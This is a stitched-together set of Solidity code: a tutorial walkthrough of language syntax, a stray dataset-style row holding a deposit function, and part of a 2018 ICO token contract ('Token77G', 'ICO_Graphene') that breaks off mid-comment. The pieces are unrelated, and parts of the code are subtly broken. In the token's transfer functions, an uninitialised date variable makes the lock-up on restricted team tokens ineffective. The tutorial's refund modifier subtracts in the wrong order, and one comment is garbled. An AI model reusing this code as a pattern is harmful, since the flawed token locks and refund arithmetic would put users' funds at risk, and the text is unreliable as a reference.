// use carefully, inference may provide wrong type
// e.g., an int8, when a counter needs to be int16
// var can be used to assign function to variable
function a(uint x) returns (uint) {
return x * 2;
}
var f = a;
f(22); // call
// by default, all values are set to 0 on instantiation
// Delete can be called on most types
// (does NOT destroy value, but sets value to 0, the initial value)
uint x = 5;
// Destructuring/Tuples
(x, y) = (2, 7); // assign/swap multiple values
// 2. DATA STRUCTURES
// Arrays
bytes32[5] nicknames; // static array
bytes32[] names; // dynamic array
uint newLength = names.push("John"); // adding returns new length of the array
// Length
names.length; // get length
names.length = 1; // lengths can be set (for dynamic arrays in storage only)
// multidimensional array
uint x[][5]; // arr with 5 dynamic array elements (opp order of most languages)
// Dictionaries (any type to any other type)
mapping (string => uint) public balances;
balances["charles"] = 1;
// balances["ada"] result is 0, all non-set key values return zeroes
// 'public' allows following from another contract
contractName.balances("charles"); // returns 1
// 'public' created a getter (but not setter) like the following:
function balances(string _account) returns (uint balance) {
return balances[_account];
}
// Nested mappings
mapping (address => mapping (address => uint)) public custodians;
// To delete
delete balances["John"];
delete balances; // sets all elements to 0
// Unlike other languages, CANNOT iterate through all elements in
// mapping, without knowing source keys - can build data structure
// on top to do this
// Structs
struct Bank {
address owner;
uint balance;
}
Bank b = Bank({
owner: msg.sender,
balance: 5
});
// or
Bank c = Bank(msg.sender, 5);
c.balance = 5; // set to new value
delete b;
// sets to initial value, set all variables in struct to 0, except mappings
// Enums
enum State { Created, Locked, Inactive }; // often used for state machine
State public state; // Declare variable from enum
state = State.Created;
// enums can be explicitly converted to ints
uint createdState = uint(State.Created); // 0
// Data locations: Memory vs. storage vs. calldata - all complex types (arrays,
// structs) have a data location
// 'memory' does not persist, 'storage' does
// Default is 'storage' for local and state variables; 'memory' for func params
// stack holds small local variables
// for most types, can explicitly set which data location to use
// 3. Simple operators
// Comparisons, bit operators and arithmetic operators are provided
// exponentiation: **
// exclusive or: ^
// bitwise negation: ~
// 4. Global Variables of note
// ** this **
this; // address of contract
// often used at end of contract life to transfer remaining balance to party
this.balance;
this.someFunction(); // calls func externally via call, not via internal jump
// ** msg - Current message received by the contract ** **
msg.sender; // address of sender
msg.value; // amount of ether provided to this contract in wei, the function should be marked "payable"
msg.data; // bytes, complete call data
msg.gas; // remaining gas
// ** tx - This transaction **
tx.origin; // address of sender of the transaction
tx.gasprice; // gas price of the transaction
// ** block - Information about current block **
now; // current time (approximately), alias for block.timestamp (uses Unix time)
// Note that this can be manipulated by miners, so use carefully
block.number; // current block number
block.difficulty; // current block difficulty
block.blockhash(1); // returns bytes32, only works for most recent 256 blocks
block.gasLimit();
// ** storage - Persistent storage hash **
storage['abc'] = 'def'; // maps 256 bit words to 256 bit words
// 4. FUNCTIONS AND MORE
// A. Functions
// Simple function
function increment(uint x) returns (uint) {
x += 1;
return x;
}
// Functions can return many arguments, and by specifying returned arguments
// name don't need to explicitly return
function increment(uint x, uint y) returns (uint x, uint y) {
x += 1;
y += 1;
}
// Call previous functon
uint (a,b) = increment(1,1);
// 'view' (alias for 'constant')
// indicates that function does not/cannot change persistent vars
// View function execute locally, not on blockchain
// Noted: constant keyword will soon be deprecated.
uint y = 1;
function increment(uint x) view returns (uint x) {
x += 1;
y += 1; // this line would fail
// y is a state variable, and can't be changed in a view function
}
// 'pure' is more strict than 'view' or 'constant', and does not
// even allow reading of state vars
// The exact rules are more complicated, so see more about
// view/pure:
// http://solidity.readthedocs.io/en/develop/contracts.html#view-functions
// 'Function Visibility specifiers'
// These can be placed where 'view' is, including:
// public - visible externally and internally (default for function)
// external - only visible externally (including a call made with this.)
// private - only visible in the current contract
// internal - only visible in current contract, and those deriving from it
// Generally, a good idea to mark each function explicitly
// Functions hoisted - and can assign a function to a variable
function a() {
var z = b;
b();
}
function b() {
}
// All functions that receive ether must be marked 'payable'
function depositEther() public payable {
balances[msg.sender] += msg.value;
}
// Prefer loops to recursion (max call stack depth is 1024)
// Also, don't setup loops that you haven't bounded,
// as this can hit the gas limit
// B. Events
// Events are notify external parties; easy to search and
// access events from outside blockchain (with lightweight clients)
// typically declare after contract parameters
// Typically, capitalized - and add Log in front to be explicit and prevent confusion
// with a function call
// Declare
event LogSent(address indexed from, address indexed to, uint amount); // note capital first letter
// Call
LogSent(from, to, amount);
/**
For an external party (a contract or external entity), to watch using
the Web3 Javascript library:
// The following is Javascript code, not Solidity code
Coin.LogSent().watch({}, '', function(error, result) {
if (!error) {
console.log("Coin transfer: " + result.args.amount +
" coins were sent from " + result.args.from +
" to " + result.args.to + ".");
console.log("Balances now:\n" +
"Sender: " + Coin.balances.call(result.args.from) +
"Receiver: " + Coin.balances.call(result.args.to));
}
}
**/
// Common paradigm for one contract to depend on another (e.g., a
// contract that depends on current exchange rate provided by another)
// C. Modifiers
// Modifiers validate inputs to functions such as minimal balance or user auth;
// similar to guard clause in other languages
// '_' (underscore) often included as last line in body, and indicates
// function being called should be placed there
modifier onlyAfter(uint _time) { require (now >= _time); _; }
modifier onlyOwner { require(msg.sender == owner) _; }
// commonly used with state machines
modifier onlyIfStateA (State currState) { require(currState == State.A) _; }
// Append right after function declaration
function changeOwner(newOwner)
onlyAfter(someTime)
onlyOwner()
onlyIfState(State.A)
{
owner = newOwner;
}
// underscore can be included before end of body,
// but explicitly returning will skip, so use carefully
modifier checkValue(uint amount) {
_;
if (msg.value > amount) {
uint amountToRefund = amount - msg.value;
msg.sender.transfer(amountToRefund);
}
}
// 6. BRANCHING AND LOOPS
// All basic logic blocks work - including if/else, for, while, break, continue
// return - but no switch
// Syntax same as javascript, but no type conversion from non-boolean
// to boolean (comparison operators must be used to get the boolean val)
// For loops that are determined by user behavior, be careful - as contracts have a maximal
// amount of gas for a block of code - and will fail if that is exceeded
// For example:
for(uint x = 0; x < refundAddressList.length; x++) {
refundAddressList[x].transfer(SOME_AMOUNT);
}
// Two errors above:
// 1. A failure on transfer stops the loop from completing, tying up money
// 2. This loop could be arbitrarily long (based on the amount of users who need refunds), and
// therefore may always fail as it exceeds the max gas for a block
// Instead, you should let people withdraw individually from their subaccount, and mark withdrawn
// e.g., favor pull payments over push payments
// 7. OBJECTS/CONTRACTS
// A. Calling external contract
contract InfoFeed {
function info() payable returns (uint ret) { return 42; }
}
contract Consumer {
InfoFeed feed; // points to contract on blockchain
// Set feed to existing contract instance
function setFeed(address addr) {
// automatically cast, be careful; constructor is not called
feed = InfoFeed(addr);
}
// Set feed to new instance of contract
function createNewFeed() {
feed = new InfoFeed(); // new instance created; constructor called
}
function callFeed() {
// final parentheses call contract, can optionally add
// custom ether value or gas
feed.info.value(10).gas(800)();
}
}
// B. Inheritance
// Order matters, last inherited contract (i.e., 'def') can override parts of
// previously inherited contracts
contract MyContract is abc, def("a custom argument to def") {
// Override function
function z() {
if (msg.sender == owner) {
def.z(); // call overridden function from def
super.z(); // call immediate parent overridden function
}
}
}
// abstract function
function someAbstractFunction(uint x);
// cannot be compiled, so used in base/abstract contracts
// that are then implemented
// C. Import
import "filename";
import "github.com/ethereum/dapp-bin/library/iterable_mapping.sol";
// 8. OTHER KEYWORDS
// A. Selfdestruct
// selfdestruct current contract, sending funds to address (often creator)
selfdestruct(SOME_ADDRESS);
// removes storage/code from current/future blocks
// helps thin clients, but previous data persists in blockchain
// Common pattern, lets owner end the contract and receive remaining funds
function remove() {
if(msg.sender == creator) { // Only let the contract creator do this
selfdestruct(creator); // Makes contract inactive, returns funds
}
}
// May want to deactivate contract manually, rather than selfdestruct
// (ether sent to selfdestructed contract is lost)
// 9. CONTRACT DESIGN NOTES
// A. Obfuscation
// All variables are publicly viewable on blockchain, so anything
// that is private needs to be obfuscated (e.g., hashed w/secret)
// Steps: 1. Commit to something, 2. Reveal commitment
keccak256("some_bid_amount", "some secret"); // commit
// call contract's reveal function in the future
// showing bid plus secret that hashes to SHA3
reveal(100, "mySecret");
// B. Storage optimization
// Writing to blockchain can be expensive, as data stored forever; encourages
// smart ways to use memory (eventually, compilation will be better, but for now
// benefits to planning data structures - and storing min amount in blockchain)
// Cost can often be high for items like multidimensional arrays
// (cost is for storing data - not declaring unfilled variables)
// C. Data access in blockchain
// Cannot restrict human or computer from reading contents of
// transaction or transaction's state
// While 'private' prevents other *contracts* from reading data
// directly - any other party can still read data in blockchain
// All data to start of time is stored in blockchain, so
// anyone can observe all previous data and changes
// D. Cron Job
// Contracts must be manually called to handle time-based scheduling; can create external
// code to regularly ping, or provide incentives (ether) for others to
// E. Observer Pattern
// An Observer Pattern lets you register as a subscriber and
// register a function which is called by the oracle (note, the oracle pays
// for this action to be run)
// Some similarities to subscription in Pub/sub
// This is an abstract contract, both client and server classes import
// the client should implement
contract SomeOracleCallback {
function oracleCallback(int _value, uint _time, bytes32 info) external;
}
contract SomeOracle {
SomeOracleCallback[] callbacks; // array of all subscribers
// Register subscriber
function addSubscriber(SomeOracleCallback a) {
callbacks.push(a);
}
function notify(value, time, info) private {
for(uint i = 0;i < callbacks.length; i++) {
// all called subscribers must implement the oracleCallback
callbacks[i].oracleCallback(value, time, info);
}
}
function doSomething() public {
// Code to do something
// Notify all subscribers
notify(_value, _time, _info);
}
}
// Now, your client contract can addSubscriber by importing SomeOracleCallback
// and registering with Some Oracle
// F. State machines
// see example below for State enum and inState modifier
// *** EXAMPLE: A crowdfunding example (broadly similar to Kickstarter) ***
// ** START EXAMPLE **
// CrowdFunder.sol
pragma solidity ^0.4.19;
/// @title CrowdFunder
/// @author nemild
contract CrowdFunder {
// Variables set on create by creator
address public creator;
address public fundRecipient; // creator may be different than recipient
uint public minimumToRaise; // required to tip, else everyone gets refund
string campaignUrl;
byte constant version = 1;
// Data structures
enum State {
Fundraising,
ExpiredRefund,
Successful
}
struct Contribution {
uint amount;
address contributor;
}
// State variables
State public state = State.Fundraising; // initialize on create
uint public totalRaised;
uint public raiseBy;
uint public completeAt;
Contribution[] contributions;
event LogFundingReceived(address addr, uint amount, uint currentTotal);
event LogWinnerPaid(address winnerAddress);
modifier inState(State _state) {
require(state == _state);
_;
}
modifier isCreator() {
require(msg.sender == creator);
_;
}
// Wait 24 weeks after final contract state before allowing contract destruction
modifier atEndOfLifecycle() {
require(((state == State.ExpiredRefund || state == State.Successful) &&
completeAt + 24 weeks < now));
_;
}
function CrowdFunder(
uint timeInHoursForFundraising,
string _campaignUrl,
address _fundRecipient,
uint _minimumToRaise)
public
{
creator = msg.sender;
fundRecipient = _fundRecipient;
campaignUrl = _campaignUrl;
minimumToRaise = _minimumToRaise;
raiseBy = now + (timeInHoursForFundraising * 1 hours);
}
function contribute()
public
payable
inState(State.Fundraising)
returns(uint256 id)
{
contributions.push(
Contribution({
amount: msg.value,
contributor: msg.sender
}) // use array, so can iterate
);
totalRaised += msg.value;
LogFundingReceived(msg.sender, msg.value, totalRaised);
checkIfFundingCompleteOrExpired();
return contributions.length - 1; // return id
}
function checkIfFundingCompleteOrExpired()
public
{
if (totalRaised > minimumToRaise) {
state = State.Successful;
payOut();
// could incentivize sender who initiated state change here
} else if ( now > raiseBy ) {
state = State.ExpiredRefund; // backers can now collect refunds by calling getRefund(id)
}
completeAt = now;
}
function payOut()
public
inState(State.Successful)
{
fundRecipient.transfer(this.balance);
LogWinnerPaid(fundRecipient);
}
function getRefund(uint256 id)
inState(State.ExpiredRefund)
public
returns(bool)
{
require(contributions.length > id && id >= 0 && contributions[id].amount != 0 );
uint256 amountToRefund = contributions[id].amount;
contributions[id].amount = 0;
contributions[id].contributor.transfer(amountToRefund);
return true;
}
function removeContract()
public
isCreator()
atEndOfLifecycle()
{
selfdestruct(msg.sender);
// creator gets all money that hasn't be claimed
}
}
// ** END EXAMPLE **
// 10. OTHER NATIVE FUNCTIONS
// Currency units
// Currency is defined using wei, smallest unit of Ether
uint minAmount = 1 wei;
uint a = 1 finney; // 1 ether == 1000 finney
// Other units, see: http://ether.fund/tool/converter
// Time units
1 == 1 second
1 minutes == 60 seconds
// Can multiply a variable times unit, as units are not stored in a variable
uint x = 5;
(x * 1 days); // 5 days
// Careful about leap seconds/years with equality statements for time
// (instead, prefer greater than/less than)
// Cryptography
// All strings passed are concatenated before hash action
sha3("ab", "cd");
ripemd160("abc");
sha256("def");
// 11. SECURITY
// Bugs can be disastrous in Ethereum contracts - and even popular patterns in Solidity,
// may be found to be antipatterns
// See security links at the end of this doc
// 12. LOW LEVEL FUNCTIONS
// call - low level, not often used, does not provide type safety
successBoolean = someContractAddress.call('function_name', 'arg1', 'arg2');
// callcode - Code at target address executed in *context* of calling contract
// provides library functionality
someContractAddress.callcode('function_name');
// 13. STYLE NOTES
// Based on Python's PEP8 style guide
// Full Style guide: http://solidity.readthedocs.io/en/develop/style-guide.html
// Quick summary:
// 4 spaces for indentation
// Two lines separate contract declarations (and other top level declarations)
// Avoid extraneous spaces in parentheses
// Can omit curly braces for one line statement (if, for, etc)
// else should be placed on own line
// 14. NATSPEC COMMENTS
// used for documentation, commenting, and external UIs
// Contract natspec - always above contract definition
/// @title Contract title
/// @author Author name
// Function natspec
/// @notice information about what function does; shown when function to execute
/// @dev Function documentation for developer
// Function parameter/return value natspec
/// @param someParam Some description of what the param does
/// @return Description of the return value
|
@notice Deposit ether into bank @return The balance of the user after the deposit is made Use 'require' to test user inputs, 'assert' for internal invariants Here we are making sure that there isn't an overflow issue no "this." or "self." required with state variable all values set to data type's initial value by default
|
function deposit() public payable returns (uint) {
require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
balances[msg.sender] += msg.value;
return balances[msg.sender];
}
| 12,554,160
|
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pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
@title Token77G
*/
contract Token77G is Claimable, StandardToken {
string constant public name = "GraphenTech";
string constant public symbol = "77G";
uint8 constant public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public graphenRestrictedDate;
//Contains restricted tokens that cannot be sold before graphenDeadLine
mapping (address => uint256) private restrictedTokens;
// This array contains the list of address to be used by DAO contract
address[] private addList;
address private icoadd;
/**
@dev this event generates a public event on the blockchain that will notify clients
**/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
@dev this event notifies clients about the amount burnt
**/
event Burn(address indexed from, uint256 value);
/**
@dev Constructor function
Initializes contract with initial supply tokens to the creator of the contract and
allocates restriceted amount of tokens to some addresses
*/
function Token77G(
address _team,
address _reserve,
address _advisors,
uint _deadLine
)
public
{
icoadd = msg.sender;
totalSupply_ = (19000000000) * 10 ** uint256(decimals);
balances[_reserve] = balances[_reserve].add((1890500000) * 10 ** uint256(decimals));
addAddress(_reserve);
emit Transfer(icoadd, _reserve, (1890500000) * 10 ** uint256(decimals));
allocateTokens(_team, (1330000000) * 10 ** uint256(decimals));
emit Transfer(icoadd, _team, (1330000000) * 10 ** uint256(decimals));
balances[_advisors] = balances[_advisors].add((950000000) * 10 ** uint256(decimals));
addAddress(_advisors);
emit Transfer(icoadd, _advisors, (950000000) * 10 ** uint256(decimals));
balances[icoadd] = (14829500000) * 10 **uint256(decimals);
graphenRestrictedDate = _deadLine;
}
/**
@dev Return number of restricted tokens from address
@param _add The address to check restricted tokens
*/
function restrictedTokensOf(address _add) public view returns(uint restrctedTokens) {
return restrictedTokens[_add];
}
/**
@dev Transfer tokens
Send `_value` tokens to `_to` from your account
@param _to The address of the recipient
@param _value the amount to send
*/
// solhint-disable-next-line
function transfer(address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
require((now < tmpRestrictedDate && _value <= (balances[msg.sender].sub(restrictedTokens[msg.sender])))||now >= tmpRestrictedDate);// solhint-disable-line
}
if (balances[_to] == 0) addAddress(_to);
_transfer(_to, _value);
return true;
}
/**
@dev Transfer tokens from one address to another
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
require((now < tmpRestrictedDate && _value <= (balances[msg.sender]-restrictedTokens[msg.sender]))||now >= tmpRestrictedDate);// solhint-disable-line
}
if (balances[_to] == 0)addAddress(_to);
super.transferFrom(_from, _to, _value);
return true;
}
/**
@dev Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
// solhint-disable-next-line
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
totalSupply_ = totalSupply_.sub(_value); // Updates totalSupply_
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, 0x0, _value);
return true;
}
/**
@dev Returns address by position
@param _index contains the position to find in addList
*/
function getAddressFromList(uint256 _index)public view returns (address add) {
require(_index < addList.length);
return addList[_index];
}
/**
@dev Returns length of address list
@return uint list size
*/
function getAddListSize()public view returns (uint) {
return addList.length;
}
/**
@dev This function adds a number of tokes to an address and sets this tokens as restricted.
@param _add The address to allocate restricted tokens
@param _value Number of tokens to be given
*/
function allocateTokens(address _add, uint256 _value) private {
balances[_add] = balances[_add].add(_value);
restrictedTokens[_add] = restrictedTokens[_add].add(_value);
addAddress(_add);
}
/**
@dev Internal transfer, only can be called by this contract.
@param _to The address of the recipient
@param _value number of tokens to be transfered.
*/
function _transfer(address _to, uint256 _value) private {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[msg.sender] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balances[msg.sender].add(balances[_to]);
// Subtract from the sender
balances[msg.sender] = balances[msg.sender].sub(_value);// Con libreria Maths
// Add the same to the recipient
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[msg.sender] + balances[_to] == previousBalances);
}
/**
@dev Adcd ..
cd a new address to list of address
Include `_add´ if doesn´t exist within addList
@param _add contains the address to be included in the addList.
*/
function addAddress(address _add) private {
addList.push(_add);
}
}
/**
@title ICO_Graphene
*/
contract ICO_Graphene is Claimable {
using SafeMath for uint256;
// Shows number of tokens available for Private-ICO
uint256 public availablePrivateICO;
// Shows number of tokens available for PRE-ICO
uint256 public availablePreICO;
// Shows number of tokens available for ICO_w1
uint256 public availableICO_w1;
// Shows number of tokens available for ICO_w2
uint256 public availableICO_w2;
// Shows number of tokens totals available for ICO
uint256 public availableICO;
// Counts ETHs raised in the ICO
uint256 public amountRaised;
// Number of tokens sold within Private-ICO, PRE-ICO and ICO_w1 and ICO_w2
uint256 public tokensSold;
// Number of token decimals
uint256 private decimals;
// Shows PrivateICO starting timestamp
uint256 public startPrivateICO = 1528329600; // 1528329600 Thursday, 07-Jun-18 00:00:00 UTC
// Shows PrivateICO ending timestamp
uint256 public endPrivateICO = 1532649599; // 1532649599 Thursday, 26-Jul-18 23:59:59 UTC
// Shows Pre-ICO starting timestamp
uint256 public startPreICO = 1532649600; // 1532649600 Friday, 27-Jul-18 00:00:00 UTC
// Shows Pre-ICO ending timestamp
uint256 public endPreICO = 1535327999; // 1535327999 Sunday, 26-Aug-18 23:59:59 UTC
// Shows ICO starting timestamp
uint256 public startICO_w1 = 1535328000; // 1535328000 Monday, 27-Aug-18 00:00:00 UTC
// Shows ICO ending timestamp
uint256 public endICO_w1 = 1538006399; // 1538006399 Thursday, 26-Sep-18 23:59:59 UTC
// Shows ICO starting timestamp
uint256 public startICO_w2 = 1538006400; // 1538006400 Friday, 27-Sep-18 00:00:00 UTC
// Shows ICO ending timestamp
uint256 public endICO_w2 = 1540684799; // 1540684799 Wednesday, 27-Oct-18 23:59:59 UTC
// ICO status list
enum StatusList { NotStarted, Running, Waiting, Closed, Paused}
// ICO current status
StatusList public status;
// ICO stages list
enum StagesList { N_A, PrivateICO, PreICO, ICO_w1, ICO_w2}
// ICO current status
StagesList public stage;
// Contains token price within each stage
uint256[5] private tokenPrice;
// Contains token contract
Token77G private tokenReward;
// Some tokens cannot be sold before this date.
// 6 moths after finish ico
uint256 public restrictedTokensDate = 1550447999; // Sunday, 17-Feb-19 23:59:59 UTC
// Contains token contract address
address public tokenAdd;
// Shows purchase address and amount
mapping(address => uint256) public purchaseMap;
// Contains ETHs that cannot be sent to an address.
// mapping(address => uint256) public failToTranferList;
// List of address
// Token's delivery
address constant private TOKENSRESERVE = 0xA89779a50b3540677495e12eA09f02B6Bf09803F;
address constant private TEAM = 0x39E545F03d26334d735815Bb9882423cE46d8326;
address constant private ADVISORS = 0x96DFaBbD575C48d82e5bCC92f64E0349Da60712a;
// Eth's delivery
address constant private SALARIES = 0x99330754059f1348296526a52AA4F787a7648B46;
address constant private MARKETINGandBUSINESS = 0x824663D62c22f2592c5a3DC37638C09907adE7Ec;
address constant private RESEARCHandDEVELOPMENT = 0x7156023Cd4579Eb6a7A171062A44574809B353C8;
address constant private RESERVE = 0xAE55c485Fe70Ce6E547A30f5F4b28F32D9c1c093;
address constant private FACTORIES = 0x30CF1d5F0c561118fA017f15B86f914ef5C078e6;
address constant private PLANEQUIPMENT = 0xC74c83d8eC7c6233715b0aD8Ba4da8f72301fA24;
address constant private PRODUCTION = 0xEa0553a23469cb7140190d443762d70664a36343;
/**
@dev This event notifies a tokens purchase
**/
event Purchase(address _from, uint _amount, uint _tokens);
/**
@dev Checks if ICO is active
@param _status StatusList condition to compare with current status
**/
modifier onlyInState (StatusList _status) {
require(_status == status);
_;
}
/**
@dev Checks if ICO status is not PAUSED
**/
modifier onlyIfNotPaused() {
require(status != StatusList.Paused);
_;
}
/**
@dev Constructor. Creates ICO_Graphene tokens and define PrivateICO, PreICO, ICO tokens.
ICO status and stages are set to initial values.
*/
function ICO_Graphene() public {
tokenReward = new Token77G(TEAM, TOKENSRESERVE, ADVISORS, restrictedTokensDate);
tokenAdd = tokenReward;
decimals = tokenReward.decimals();
status = StatusList.NotStarted;
stage = StagesList.N_A;
amountRaised = 0;
tokensSold = 0;
availablePrivateICO = (1729000000) * 10 ** uint256(decimals);
availablePreICO = (3325000000) * 10 ** uint256(decimals);
availableICO_w1 = (5120500000) * 10 ** uint256(decimals);
availableICO_w2 = (4655000000) * 10 ** uint256(decimals);
tokenPrice = [0, 13860000000000, 14850000000000, 17820000000000, 19800000000000];
}
/**
@dev The function (Fallback) without name is the default function that is called whenever
anyone sends funds to a contract, this method starts purchase process.
*/
function () public payable onlyIfNotPaused {
updateStatus();
if (stage == StagesList.PrivateICO) {
require(msg.value >= 1000000000000000000 wei);
}
_transfer();
updateStatusViaTokens();
}
/**
@dev Standar function to kill ICO contract and return ETHs to owner.
*/
function kill()
external onlyOwner onlyInState(StatusList.Closed) {
selfdestruct(owner);
}
/**
@dev Public function to be call by owner that changes ICO status to Pause.
No other function will be available if status is Pause but unpause()
*/
function pause() public onlyOwner {
updateStatus();
require(status != StatusList.Closed);
status = StatusList.Paused;
}
/**
@dev Public function to be call by owner when ICO status is Paused, it changes ICO status to the right status
based on ICO dates.
*/
function unpause() public onlyOwner onlyInState(StatusList.Paused) {
updateStatus();
updateStatusViaTokens();
}
/**
@dev PRE-ICO and ICO times can be changed with this function by the owner if ICO has not started.
* This function changes startTimestamp time with _startingTime given.
@param _startPrivateICO contains new starting date for PRE-ICO
@param _endPrivateICO contains new ending date for PRE-ICO
